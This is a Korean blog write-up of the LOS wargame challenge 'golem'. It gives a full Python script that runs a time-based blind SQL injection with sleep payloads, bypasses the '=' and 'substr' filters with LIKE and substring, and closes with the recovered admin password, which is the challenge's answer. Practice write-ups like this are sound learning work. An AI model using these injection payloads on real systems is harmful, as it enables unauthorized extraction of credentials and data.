본문 바로가기

Hacking/LOS

[LOS] 11. golem

728x90
반응형

  • 여태 나온 time based sqli 문제들이랑 똑같은 유형이다
  • 다만 '='을 필터링하여 사용하지 못하게 했는데, 이는 SQL 문법에서 like로 대신 가능하다.
  • 또한 'substr(' 문자열도 필터링 걸어놨는데 이는 그냥 substring으로 우회 가능하다.

 

import requests

url ='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=' #url 주소 입력

def find_pw_len():
    pw_len=0
    while 1:
        pw_len=pw_len+1
        value = "' || id like 'admin' %26%26 if(length(pw) like {}, sleep(3), 1)%23".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        cookies={'PHPSESSID' : '내 세션'}
        response = requests.get(url+value, cookies=cookies)
        # print(response.url)
        if(response.elapsed.total_seconds() > 3):
            print("길이는? =",pw_len)
            break
        print("시도중 입니다!:",pw_len)
    return pw_len

def find_pw():
    pw_len=find_pw_len()
    string=''
    for pw_value in range(1,pw_len+1):
        for ascii in range(48,122):
            value ="' || id like 'admin' %26%26 if(ascii(substring(pw,{},1)) like {}, sleep(3), 1)%23".format(pw_value,ascii)
            cookies={'PHPSESSID' : '내 세션'}
            response = requests.get(url+value, cookies=cookies)
            # print(response.url)
            if(response.elapsed.total_seconds() > 2):
                string = string + chr(ascii)
                print("{}번 째의 pw의 값은!".format(pw_value),string)
                break
            print("{}번 째의 password를 찾고 있습니다. --> {}".format(pw_value,chr(ascii)))
    print(string)
find_pw()

 

 

 

정답: https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=77d6290b 

 

https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=77d6290b

 

los.rubiya.kr

 

 

 

728x90
반응형

'Hacking > LOS' 카테고리의 다른 글

[LOS] 13. bugbear  (0) 2023.07.06
[LOS] 12. darkknight  (0) 2023.07.06
[LOS] 10. skeleton  (0) 2023.07.06
[LOS] 9. vampire  (0) 2023.07.06
[LOS] 8. troll  (0) 2023.07.06